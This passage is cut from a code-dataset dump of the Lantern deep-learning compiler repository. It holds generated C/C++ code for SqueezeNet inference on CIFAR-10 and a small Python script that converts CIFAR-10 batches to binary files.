<= x24895;\nint32_t x24913;\nif (x24912) {\nx24913 = x24895;\n} else {\nx24913 = x24825;\n}\nint32_t x24922 = x24913 * x24921;\nint32_t x24923 = 64 * x24922;\nfloat* x24924 = (float*)myMalloc(x24923 * sizeof(float));;\nint32_t x24925;\nif (x24896) {\nx24925 = 0;\n} else {\nx24925 = x24833;\n}\nint32_t x24928;\nif (x24897) {\nx24928 = 0;\n} else {\nx24928 = 1;\n}\nfor(int x24929=0; x24929 < 64; x24929++) {\nint32_t x24941 = x24834 * x24929;\nint32_t x24935 = x24922 * x24929;\nfor(int x24931=0; x24931 < x24913; x24931++) {\nint32_t x24942 = x24925 * x24931;\nint32_t x24943 = x24941 + x24942;\nint32_t x24948 = x24928 * x24931;\nint32_t x24937 = x24921 * x24931;\nfor(int x24933=0; x24933 < x24915; x24933++) {\nint32_t x24944 = x24926 * x24933;\nint32_t x24945 = x24943 + x24944;\nint32_t x24939 = x24915 * x24933;\nfor(int x24934=0; x24934 < x24915; x24934++) {\nint32_t x24946 = x24927 * x24934;\nint32_t x24947 = x24945 + x24946;\nfloat x24949 = x24836[x24947];\nfloat x24950 = x103[x24948];\nint32_t x24936 = x24934 + x24935;\nint32_t x24938 = x24936 + x24937;\nint32_t x24940 = x24938 + x24939;\nfloat x24951 = x24949 * x24950;\nx24924[x24940] = x24951;\n\n}\n\n}\n\n}\n\n}\nint32_t x24961 = 0;\nint32_t x24962 = 1;\nx24962 *= 1;\nx24961 += 1;\nx24962 *= 1;\nx24962 *= 1;\nint32_t x24967 = x24961;\nbool x24968 = x24967 >= 2;\nif (x24968) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24973 = x24967 == 0;\nif (x24973) {\nint32_t x24974 = x24962;\nbool x24975 = x24974 == 2048;\nif (x24975) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24982 = x24962;\nbool x24984 = x24913 == 1;\nint32_t x24983 = 2048 / x24982;\nbool x24985 = x24983 == 1;\nbool x24989;\nif (x454) {\nbool x24986 = x24984 || x24985;\nbool x24987 = x24913 == x24983;\nbool x24988 = x24986 || x24987;\nx24989 = x24988;\n} else {\nx24989 = false;\n}\nbool x24993;\nif (x24989) {\nx24993 = x24992;\n} else {\nx24993 = false;\n}\nbool x24994;\nif (x24993) {\nx24994 = x24992;\n} else {\nx24994 = false;\n}\nif (x24994) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24913,x24915,x24915,1,x24983,1,1);\nassert(false && \"\");\n}\nbool x25000 = x24913 <= x24983;\nint32_t x25001;\nif (x25000) {\nx25001 = x24983;\n} else {\nx25001 = x24913;\n}\nint32_t x25010 = x25001 * x25009;\nint32_t x25011 = 64 * x25010;\nfloat* x25012 = (float*)myMalloc(x25011 * sizeof(float));;\nint32_t x25013;\nif (x24984) {\nx25013 = 0;\n} else {\nx25013 = x24921;\n}\nint32_t x25016;\nif (x24985) {\nx25016 = 0;\n} else {\nx25016 = 1;\n}\nfor(int x25017=0; x25017 < 64; x25017++) {\nint32_t x25029 = x24922 * x25017;\nint32_t x25023 = x25010 * x25017;\nfor(int x25019=0; x25019 < x25001; x25019++) {\nint32_t x25030 = x25013 * x25019;\nint32_t x25031 = x25029 + x25030;\nint32_t x25036 = x25016 * x25019;\nint32_t x25025 = x25009 * x25019;\nfor(int x25021=0; x25021 < x25003; x25021++) {\nint32_t x25032 = x25014 * x25021;\nint32_t x25033 = x25031 + x25032;\nint32_t x25027 = x25003 * x25021;\nfor(int x25022=0; x25022 < x25003; x25022++) {\nint32_t x25034 = x25015 * x25022;\nint32_t x25035 = x25033 + x25034;\nfloat x25037 = x24924[x25035];\nfloat x25038 = x181[x25036];\nint32_t x25024 = x25022 + x25023;\nint32_t x25026 = x25024 + x25025;\nint32_t x25028 = x25026 + x25027;\nfloat x25039 = x25037 + x25038;\nx25012[x25028] = x25039;\n\n}\n\n}\n\n}\n\n}\nbool x25049 = x25001 == 1;\nbool x25050 = x25049 || x23637;\nbool x25051 = x25001 == x23589;\nbool x25052 = x25050 || x25051;\nbool x25057;\nif (x25052) {\nx25057 = x25056;\n} else {\nx25057 = false;\n}\nbool x25058;\nif (x25057) {\nx25058 = x25056;\n} else {\nx25058 = false;\n}\nif (x25058) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x25001,x25003,x25003,64,x23589,x23591,x23591);\nassert(false && \"\");\n}\nbool x25064 = x25001 <= x23589;\nint32_t x25065;\nif (x25064) {\nx25065 = x23589;\n} else {\nx25065 = x25001;\n}\nint32_t x25081;\nif (x25049) {\nx25081 = 0;\n} else {\nx25081 = x25009;\n}\nfor(int x25084=0; x25084 < 64; x25084++) {\nint32_t x25090 = x25010 * x25084;\nint32_t x25097 = x23598 * x25084;\nfor(int x25086=0; x25086 < x25065; x25086++) {\nint32_t x25091 = x25081 * x25086;\nint32_t x25092 = x25090 + x25091;\nint32_t x25098 = x23669 * x25086;\nint32_t x25099 = x25097 + x25098;\nfor(int x25088=0; x25088 < x25067; x25088++) {\nint32_t x25093 = x25082 * x25088;\nint32_t x25094 = x25092 + x25093;\nint32_t x25100 = x23670 * x25088;\nint32_t x25101 = x25099 + x25100;\nfor(int x25089=0; x25089 < x25067; x25089++) {\nint32_t x25095 = x25083 * x25089;\nint32_t x25096 = x25094 + x25095;\nfloat x25104 = x25012[x25096];\nint32_t x25102 = x23671 * x25089;\nint32_t x25103 = x25101 + x25102;\nfloat x25105 = x23704[x25103];\nfloat x25106 = x25104 + x25105;\nx25012[x25096] = x25106;\n\n}\n\n}\n\n}\n\n}\nfloat* x25116 = (float*)myMalloc(x25011 * sizeof(float));;\nfor(int x25118=0; x25118 < x25011; x25118++) {\nfloat x25119 = x25012[x25118];\nbool x25120 = x25119 < 0.0f;\nif (x25120) {\nx25116[x25118] = 0.0f;\n} else {\nfloat x25123 = x25012[x25118];\nx25116[x25118] = x25123;\n}\n\n}\nif (x25130) {\n} else {\nassert(false && \"Image too small for averagePool_batch: x Const(64) x Sym(25001) x Sym(25003) x Sym(25003)|(2,2)\");\n}\nint32_t x25141 = 64 * x25001;\nint32_t x25142 = x25141 * x25137;\nint32_t x25143 = x25142 * x25137;\nfloat* x25144 = (float*)myMalloc(x25143 * sizeof(float));;\nint32_t x25139 = x25001 * x25138;\nfor(int x25145=0; x25145 < 64; x25145++) {\nint32_t x25146 = x25145 * x25010;\nfloat* x25147 = x25116+x25146;\nint32_t x25148 = x25145 * x25139;\nfloat* x25149 = x25144+x25148;\nfor(int x25150=0; x25150 < x25001; x25150++) {\nint32_t x25158 = x25150 * x25009;\nint32_t x25154 = x25150 * x25138;\nfor(int x25152=0; x25152 < x25137; x25152++) {\nint32_t x25159 = x25152 * x25003;\nint32_t x25160 = x25158 + x25159;\nint32_t x25155 = x25152 * x25137;\nint32_t x25156 = x25154 + x25155;\nfor(int x25153=0; x25153 < x25137; x25153++) {\nfloat x25162 = 0.0f;\nint32_t x25161 = x25160 + x25153;\nfloat x25163 = x25147[x25161];\nx25162 += x25163;\nint32_t x25165 = x25161 + 1;\nfloat x25166 = x25147[x25165];\nx25162 += x25166;\nint32_t x25168 = x25161 + x25003;\nfloat x25169 = x25147[x25168];\nx25162 += x25169;\nint32_t x25171 = x25168 + 1;\nfloat x25172 = x25147[x25171];\nx25162 += x25172;\nfloat x25174 = x25162;\nint32_t x25157 = x25156 + x25153;\nfloat x25175 = x25174 / 4.0f;\nx25149[x25157] = x25175;\n\n}\n\n}\n\n}\n\n}\nint32_t x25185 = 0;\nint32_t x25186 = 1;\nx25186 *= 64;\nx25185 += 1;\nint32_t x25189 = x25185;\nbool x25190 = x25189 >= 2;\nif (x25190) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x25195 = x25189 == 0;\nint32_t x25140 = 64 * x25139;\nif (x25195) {\nint32_t x25196 = x25186;\nbool x25197 = x25196 == x25140;\nif (x25197) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x25204 = x25186;\n// gemm: List(Const(64), Sym(25205)), Vector(Const(10), Const(2048))\nassert(false && \"ERROR not specified\");\nfloat* x25209 = (float*)myMalloc(640 * sizeof(float));;\nint32_t x25205 = x25140 / x25204;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 64,10,x25205,1.0,x25144,x25205,x227,x25205,0,x25209,10);\nfor(int x25211=0; x25211 < 64; x25211++) {\nint32_t x25213 = 10 * x25211;\nfor(int x25212=0; x25212 < 10; x25212++) {\nint32_t x25214 = x25213 + x25212;\nfloat x25215 = x25209[x25214];\nfloat x25216 = x48[x25212];\nfloat x25217 = x25215 + x25216;\nx25209[x25214] = x25217;\n\n}\n\n}\nprintf(\"output (size Const(64) x Const(10))\\n\");\nfloat x25224 = 0.0f;\nfor(int x25226=0; x25226 < 640; x25226++) {\nfloat x25227 = x25224;\nfloat x25229 = x25209[x25226];\nfloat x25228 = fabs(x25227);\nfloat x25230 = fabs(x25229);\nbool x25231 = x25228 > x25230;\nfloat x25234;\nif (x25231) {\nx25234 = x25227;\n} else {\nfloat x25232 = x25209[x25226];\nx25234 = x25232;\n}\nx25224 = x25234;\n\n}\nfloat x25238 = x25224;\nprintf(\"Max Abs: %.5f || \",x25238);\nfor(int x25240=0; x25240 < 10; x25240++) {\nfloat x25241 = x25209[x25240];\nprintf(\"%.5f \",x25241);\n\n}\nprintf(\"\\n\");\nassert(false && \"stop\");\n\n}\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.6402152180671692, "alphanum_fraction": 0.6610625386238098, "avg_line_length": 32.79545593261719, "blob_id": "f23071100c39ad9882dfe3bd79eeb9b952f9c6a0", "content_id": "74541f138a147a707c127d566d72662c5a3de94d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1487, "license_type": "permissive", "max_line_length": 135, "num_lines": 44, "path": "/src/out/PLDI19evaluation/squeezenet/pytorch/inputs.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport pickle\nimport numpy as np\nimport struct\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\nclass Batch(object):\n\n\tdef __init__(self, filename, batch_size):\n\t\tself.dict = unpickle(filename)\n\t\tself.data = self.dict[b'data']\n\t\tself.labels = self.dict[b'labels']\n\t\tself.batch_size = batch_size\n\t\tself.current_idx = 0\n\t\tself.total_size = len(self.labels)\n\n\tdef batch(self):\n\t\tif (self.current_idx + self.batch_size >= self.total_size):\n\t\t\tself.current_idx = 0\n\t\tx = self.data[self.current_idx: self.current_idx + self.batch_size]\n\t\tx = [i.astype(np.float32).reshape(3, 32, 32) / 255 for i in x]\n\t\ty = self.labels[self.current_idx: self.current_idx + self.batch_size]\n\t\ty = np.asarray(y, dtype=np.int64)\n\t\tself.current_idx += self.batch_size\n\t\treturn np.asarray(x), y\n\n\tdef write_to_bin(self, input_file, target_file):\n\t\twith open(input_file, 'wb') as f:\n\t\t\twith open(target_file, 'wb') as g:\n\t\t\t\tx, y = self.batch()\n\t\t\t\tfor by in x.reshape(-1).tolist():\n\t\t\t\t\tf.write(struct.pack('@f', by))\n\t\t\t\tfor by in y.reshape(-1).tolist():\n\t\t\t\t\tg.write(struct.pack('@i', int(by)))\n\nif __name__ == '__main__':\n\tbatch = Batch('../../cifar10_data/cifar-10-batches-py/data_batch_1', 64)\n\tbatch.write_to_bin('../cifar10_data/cifar-10-batches-bin/small_batch_x.bin', '../cifar10_data/cifar-10-batches-bin/small_batch_y.bin')\n" }, { "alpha_fraction": 0.2926158607006073, "alphanum_fraction": 0.6455563306808472, "avg_line_length": 22.478622436523438, "blob_id": "7f0f717e9067f406276d407bdc7337087f25a774", "content_id": "52d0d8e74fe751fc12a11d430a29a94bc6c7b9f6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 81824, "license_type": "permissive", "max_line_length": 115, "num_lines": 3485, "path": "/src/out/PLDI19evaluation/squeezenet/lantern/LanternOnnxInference.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\nsrand(42);\nstruct timeval begin_0, end_0, diff_0;\ngettimeofday(&begin_0, NULL);\nint32_t x5 = open(\"../../cifar10_data/cifar-10-batches-bin/data_batch_1.bin\",0);\nint64_t x6 = fsize(x5);\nint64_t x8 = x6 / 3073LL;\nint32_t x9 = (int32_t)x8;\nint32_t x10 = x9 * 3072;\nfloat* x11 = (float*)myMalloc(x10 * sizeof(float));;\nint* x12 = (int32_t*)myMalloc(x9 * sizeof(int32_t));;\nchar* x7 = (char*)mmap(0, x6, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x5, 0);\nfor(int x14=0; x14 < x9; x14++) {\nint32_t x15 = x14 * 3073;\nchar x16 = x7[x15];\nint32_t x17 = (int32_t)(unsigned char)x16;\nx12[x14] = x17;\nint32_t x23 = x15 + 1;\nint32_t x21 = x14 * 3072;\nfor(int x20=0; x20 < 3072; x20++) {\nint32_t x24 = x23 + x20;\nchar x25 = x7[x24];\nint32_t x22 = x21 + x20;\nfloat x26 = (float)(unsigned char)x25;\nfloat x27 = x26 / 255.0f;\nx11[x22] = x27;\n\n}\n\n}\ngettimeofday(&end_0, NULL);\ntimeval_subtract(&diff_0, &end_0, &begin_0);;\nint64_t x35 = ((diff_0.tv_sec * 1000000L) + (diff_0.tv_usec));\nfloat x36 = (float)x35;\nfloat x37 = x36 / 1000000.0f;\nprintf(\"Data reading in %lf sec\\n\",x37);\nint64_t x95 = (long)mallocAddr;\n// inferencing loop starts here\nint32_t x103 = x9 / 64;\nint32_t x110 = 31 / 1;\nint32_t x111 = x110 + 1;\nint32_t x115 = 6144 * x111;\nint32_t x116 = x115 * x111;\nint32_t x112 = x111 * x111;\nint32_t x39 = open(\"/home/fei/bitbucket/Lantern/src/out/PLDI19evaluation/squeezenet/squeezenetCifar10.onnx.bin\",0);\nint64_t x40 = fsize(x39);\nfloat* x41 = (float*)mmap(0, x40, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x39, 0);\nfloat* x85 = x41+2592;\nint32_t x137 = 1728 * x112;\nint32_t x113 = 96 * x112;\nint32_t x135 = 27 * x112;\nfloat* x75 = x41+0;\nint32_t x114 = 64 * x113;\nbool x237 = x111 >= 2;\nbool x238;\nif (x237) {\nx238 = x237;\n} else {\nx238 = false;\n}\nint32_t x243 = x111 - 2;\nint32_t x244 = x243 / 2;\nint32_t x245 = x244 + 1;\nint32_t x249 = 6144 * x245;\nint32_t x250 = x249 * x245;\nint32_t x246 = x245 * x245;\nint32_t x247 = 96 * x246;\nint32_t x248 = 64 * x247;\nint32_t x336 = 2 * x111;\nint32_t x346 = x244 / 1;\nint32_t x347 = x346 + 1;\nint32_t x351 = 1024 * x347;\nint32_t x352 = x351 * x347;\nint32_t x348 = x347 * x347;\nfloat* x50 = x41+4224;\nint32_t x372 = 6144 * x348;\nint32_t x349 = 16 * x348;\nint32_t x370 = 96 * x348;\nfloat* x92 = x41+2688;\nint32_t x350 = 64 * x349;\nint32_t x427 = x346 / 1;\nint32_t x428 = x427 + 1;\nint32_t x432 = 4096 * x428;\nint32_t x433 = x432 * x428;\nint32_t x429 = x428 * x428;\nfloat* x73 = x41+5264;\nint32_t x452 = 1024 * x429;\nint32_t x430 = 64 * x429;\nint32_t x450 = 16 * x429;\nfloat* x66 = x41+4240;\nint32_t x431 = 64 * x430;\nint32_t x507 = x347 + 2;\nint32_t x508 = x507 - 3;\nint32_t x509 = x508 / 1;\nint32_t x510 = x509 + 1;\nint32_t x514 = 4096 * x510;\nint32_t x515 = x514 * x510;\nint32_t x511 = x510 * x510;\nfloat* x47 = x41+14544;\nint32_t x534 = 9216 * x511;\nint32_t x512 = 64 * x511;\nint32_t x532 = 144 * x511;\nfloat* x89 = x41+5328;\nint32_t x513 = 64 * x512;\nbool x634 = true || false;\nbool x636;\nif (x634) {\nbool x635 = true || true;\nx636 = x635;\n} else {\nx636 = false;\n}\nbool x639;\nif (x636) {\nbool x637 = x510 == x428;\nbool x638 = x637 || false;\nx639 = x638;\n} else {\nx639 = false;\n}\nbool x640;\nif (x639) {\nbool x637 = x510 == x428;\nbool x638 = x637 || false;\nx640 = x638;\n} else {\nx640 = false;\n}\nint32_t x649 = 8192 * x428;\nint32_t x650 = x649 * x428;\nint32_t x676 = x427 / 1;\nint32_t x677 = x676 + 1;\nint32_t x681 = 1024 * x677;\nint32_t x682 = x681 * x677;\nint32_t x678 = x677 * x677;\nfloat* x67 = x41+16656;\nint32_t x701 = 8192 * x678;\nint32_t x647 = 128 * x429;\nint32_t x679 = 16 * x678;\nint32_t x699 = 128 * x678;\nfloat* x54 = x41+14608;\nint32_t x680 = 64 * x679;\nint32_t x757 = x676 / 1;\nint32_t x758 = x757 + 1;\nint32_t x762 = 4096 * x758;\nint32_t x763 = x762 * x758;\nint32_t x759 = x758 * x758;\nfloat* x45 = x41+17696;\nint32_t x782 = 1024 * x759;\nint32_t x760 = 64 * x759;\nint32_t x780 = 16 * x759;\nfloat* x53 = x41+16672;\nint32_t x761 = 64 * x760;\nint32_t x837 = x677 + 2;\nint32_t x838 = x837 - 3;\nint32_t x839 = x838 / 1;\nint32_t x840 = x839 + 1;\nint32_t x844 = 4096 * x840;\nint32_t x845 = x844 * x840;\nint32_t x841 = x840 * x840;\nfloat* x79 = x41+26976;\nint32_t x864 = 9216 * x841;\nint32_t x842 = 64 * x841;\nint32_t x862 = 144 * x841;\nfloat* x61 = x41+17760;\nint32_t x843 = 64 * x842;\nbool x965;\nif (x636) {\nbool x963 = x840 == x758;\nbool x964 = x963 || false;\nx965 = x964;\n} else {\nx965 = false;\n}\nbool x966;\nif (x965) {\nbool x963 = x840 == x758;\nbool x964 = x963 || false;\nx966 = x964;\n} else {\nx966 = false;\n}\nint32_t x975 = 8192 * x758;\nint32_t x976 = x975 * x758;\nint32_t x1002 = x757 / 1;\nint32_t x1003 = x1002 + 1;\nint32_t x1007 = 2048 * x1003;\nint32_t x1008 = x1007 * x1003;\nint32_t x1004 = x1003 * x1003;\nfloat* x65 = x41+31136;\nint32_t x1028 = 8192 * x1004;\nint32_t x973 = 128 * x759;\nint32_t x1005 = 32 * x1004;\nint32_t x1026 = 128 * x1004;\nfloat* x52 = x41+27040;\nint32_t x1006 = 64 * x1005;\nint32_t x1083 = x1002 / 1;\nint32_t x1084 = x1083 + 1;\nint32_t x1088 = 8192 * x1084;\nint32_t x1089 = x1088 * x1084;\nint32_t x1085 = x1084 * x1084;\nfloat* x87 = x41+35264;\nint32_t x1108 = 2048 * x1085;\nint32_t x1086 = 128 * x1085;\nint32_t x1106 = 32 * x1085;\nfloat* x77 = x41+31168;\nint32_t x1087 = 64 * x1086;\nint32_t x1163 = x1003 + 2;\nint32_t x1164 = x1163 - 3;\nint32_t x1165 = x1164 / 1;\nint32_t x1166 = x1165 + 1;\nint32_t x1170 = 8192 * x1166;\nint32_t x1171 = x1170 * x1166;\nint32_t x1167 = x1166 * x1166;\nfloat* x83 = x41+72256;\nint32_t x1190 = 18432 * x1167;\nint32_t x1168 = 128 * x1167;\nint32_t x1188 = 288 * x1167;\nfloat* x48 = x41+35392;\nint32_t x1169 = 64 * x1168;\nbool x1292;\nif (x636) {\nbool x1290 = x1166 == x1084;\nbool x1291 = x1290 || false;\nx1292 = x1291;\n} else {\nx1292 = false;\n}\nbool x1293;\nif (x1292) {\nbool x1290 = x1166 == x1084;\nbool x1291 = x1290 || false;\nx1293 = x1291;\n} else {\nx1293 = false;\n}\nint32_t x1302 = 16384 * x1084;\nint32_t x1303 = x1302 * x1084;\nbool x1329 = x1084 >= 2;\nbool x1330;\nif (x1329) {\nx1330 = x1329;\n} else {\nx1330 = false;\n}\nint32_t x1335 = x1084 - 2;\nint32_t x1336 = x1335 / 2;\nint32_t x1337 = x1336 + 1;\nint32_t x1341 = 16384 * x1337;\nint32_t x1342 = x1341 * x1337;\nint32_t x1338 = x1337 * x1337;\nint32_t x1339 = 256 * x1338;\nint32_t x1340 = 64 * x1339;\nint32_t x1300 = 256 * x1085;\nint32_t x1429 = 2 * x1084;\nint32_t x1439 = x1336 / 1;\nint32_t x1440 = x1439 + 1;\nint32_t x1444 = 2048 * x1440;\nint32_t x1445 = x1444 * x1440;\nint32_t x1441 = x1440 * x1440;\nfloat* x57 = x41+80576;\nint32_t x1464 = 16384 * x1441;\nint32_t x1442 = 32 * x1441;\nint32_t x1462 = 256 * x1441;\nfloat* x69 = x41+72384;\nint32_t x1443 = 64 * x1442;\nint32_t x1519 = x1439 / 1;\nint32_t x1520 = x1519 + 1;\nint32_t x1524 = 8192 * x1520;\nint32_t x1525 = x1524 * x1520;\nint32_t x1521 = x1520 * x1520;\nfloat* x63 = x41+84704;\nint32_t x1544 = 2048 * x1521;\nint32_t x1522 = 128 * x1521;\nint32_t x1542 = 32 * x1521;\nfloat* x49 = x41+80608;\nint32_t x1523 = 64 * x1522;\nint32_t x1599 = x1440 + 2;\nint32_t x1600 = x1599 - 3;\nint32_t x1601 = x1600 / 1;\nint32_t x1602 = x1601 + 1;\nint32_t x1606 = 8192 * x1602;\nint32_t x1607 = x1606 * x1602;\nint32_t x1603 = x1602 * x1602;\nfloat* x58 = x41+121696;\nint32_t x1626 = 18432 * x1603;\nint32_t x1604 = 128 * x1603;\nint32_t x1624 = 288 * x1603;\nfloat* x78 = x41+84832;\nint32_t x1605 = 64 * x1604;\nbool x1727;\nif (x636) {\nbool x1725 = x1602 == x1520;\nbool x1726 = x1725 || false;\nx1727 = x1726;\n} else {\nx1727 = false;\n}\nbool x1728;\nif (x1727) {\nbool x1725 = x1602 == x1520;\nbool x1726 = x1725 || false;\nx1728 = x1726;\n} else {\nx1728 = false;\n}\nint32_t x1737 = 16384 * x1520;\nint32_t x1738 = x1737 * x1520;\nint32_t x1764 = x1519 / 1;\nint32_t x1765 = x1764 + 1;\nint32_t x1769 = 3072 * x1765;\nint32_t x1770 = x1769 * x1765;\nint32_t x1766 = x1765 * x1765;\nfloat* x94 = x41+134112;\nint32_t x1790 = 16384 * x1766;\nint32_t x1735 = 256 * x1521;\nint32_t x1767 = 48 * x1766;\nint32_t x1788 = 256 * x1766;\nfloat* x84 = x41+121824;\nint32_t x1768 = 64 * x1767;\nint32_t x1845 = x1764 / 1;\nint32_t x1846 = x1845 + 1;\nint32_t x1850 = 12288 * x1846;\nint32_t x1851 = x1850 * x1846;\nint32_t x1847 = x1846 * x1846;\nfloat* x88 = x41+143376;\nint32_t x1871 = 3072 * x1847;\nint32_t x1848 = 192 * x1847;\nint32_t x1869 = 48 * x1847;\nfloat* x90 = x41+134160;\nint32_t x1849 = 64 * x1848;\nint32_t x1926 = x1765 + 2;\nint32_t x1927 = x1926 - 3;\nint32_t x1928 = x1927 / 1;\nint32_t x1929 = x1928 + 1;\nint32_t x1933 = 12288 * x1929;\nint32_t x1934 = x1933 * x1929;\nint32_t x1930 = x1929 * x1929;\nfloat* x71 = x41+226512;\nint32_t x1953 = 27648 * x1930;\nint32_t x1931 = 192 * x1930;\nint32_t x1951 = 432 * x1930;\nfloat* x81 = x41+143568;\nint32_t x1932 = 64 * x1931;\nbool x2055;\nif (x636) {\nbool x2053 = x1929 == x1846;\nbool x2054 = x2053 || false;\nx2055 = x2054;\n} else {\nx2055 = false;\n}\nbool x2056;\nif (x2055) {\nbool x2053 = x1929 == x1846;\nbool x2054 = x2053 || false;\nx2056 = x2054;\n} else {\nx2056 = false;\n}\nint32_t x2065 = 24576 * x1846;\nint32_t x2066 = x2065 * x1846;\nint32_t x2092 = x1845 / 1;\nint32_t x2093 = x2092 + 1;\nint32_t x2097 = 3072 * x2093;\nint32_t x2098 = x2097 * x2093;\nint32_t x2094 = x2093 * x2093;\nfloat* x44 = x41+245136;\nint32_t x2117 = 24576 * x2094;\nint32_t x2063 = 384 * x1847;\nint32_t x2095 = 48 * x2094;\nint32_t x2115 = 384 * x2094;\nfloat* x56 = x41+226704;\nint32_t x2096 = 64 * x2095;\nint32_t x2173 = x2092 / 1;\nint32_t x2174 = x2173 + 1;\nint32_t x2178 = 12288 * x2174;\nint32_t x2179 = x2178 * x2174;\nint32_t x2175 = x2174 * x2174;\nfloat* x74 = x41+254400;\nint32_t x2198 = 3072 * x2175;\nint32_t x2176 = 192 * x2175;\nint32_t x2196 = 48 * x2175;\nfloat* x64 = x41+245184;\nint32_t x2177 = 64 * x2176;\nint32_t x2253 = x2093 + 2;\nint32_t x2254 = x2253 - 3;\nint32_t x2255 = x2254 / 1;\nint32_t x2256 = x2255 + 1;\nint32_t x2260 = 12288 * x2256;\nint32_t x2261 = x2260 * x2256;\nint32_t x2257 = x2256 * x2256;\nfloat* x86 = x41+337536;\nint32_t x2280 = 27648 * x2257;\nint32_t x2258 = 192 * x2257;\nint32_t x2278 = 432 * x2257;\nfloat* x60 = x41+254592;\nint32_t x2259 = 64 * x2258;\nbool x2381;\nif (x636) {\nbool x2379 = x2256 == x2174;\nbool x2380 = x2379 || false;\nx2381 = x2380;\n} else {\nx2381 = false;\n}\nbool x2382;\nif (x2381) {\nbool x2379 = x2256 == x2174;\nbool x2380 = x2379 || false;\nx2382 = x2380;\n} else {\nx2382 = false;\n}\nint32_t x2391 = 24576 * x2174;\nint32_t x2392 = x2391 * x2174;\nint32_t x2418 = x2173 / 1;\nint32_t x2419 = x2418 + 1;\nint32_t x2423 = 4096 * x2419;\nint32_t x2424 = x2423 * x2419;\nint32_t x2420 = x2419 * x2419;\nfloat* x51 = x41+362304;\nint32_t x2443 = 24576 * x2420;\nint32_t x2389 = 384 * x2175;\nint32_t x2421 = 64 * x2420;\nint32_t x2441 = 384 * x2420;\nfloat* x76 = x41+337728;\nint32_t x2422 = 64 * x2421;\nint32_t x2498 = x2418 / 1;\nint32_t x2499 = x2498 + 1;\nint32_t x2503 = 16384 * x2499;\nint32_t x2504 = x2503 * x2499;\nint32_t x2500 = x2499 * x2499;\nfloat* x82 = x41+378752;\nint32_t x2523 = 4096 * x2500;\nint32_t x2501 = 256 * x2500;\nint32_t x2521 = 64 * x2500;\nfloat* x91 = x41+362368;\nint32_t x2502 = 64 * x2501;\nint32_t x2578 = x2419 + 2;\nint32_t x2579 = x2578 - 3;\nint32_t x2580 = x2579 / 1;\nint32_t x2581 = x2580 + 1;\nint32_t x2585 = 16384 * x2581;\nint32_t x2586 = x2585 * x2581;\nint32_t x2582 = x2581 * x2581;\nfloat* x55 = x41+526464;\nint32_t x2605 = 36864 * x2582;\nint32_t x2583 = 256 * x2582;\nint32_t x2603 = 576 * x2582;\nfloat* x70 = x41+379008;\nint32_t x2584 = 64 * x2583;\nbool x2707;\nif (x636) {\nbool x2705 = x2581 == x2499;\nbool x2706 = x2705 || false;\nx2707 = x2706;\n} else {\nx2707 = false;\n}\nbool x2708;\nif (x2707) {\nbool x2705 = x2581 == x2499;\nbool x2706 = x2705 || false;\nx2708 = x2706;\n} else {\nx2708 = false;\n}\nint32_t x2717 = 32768 * 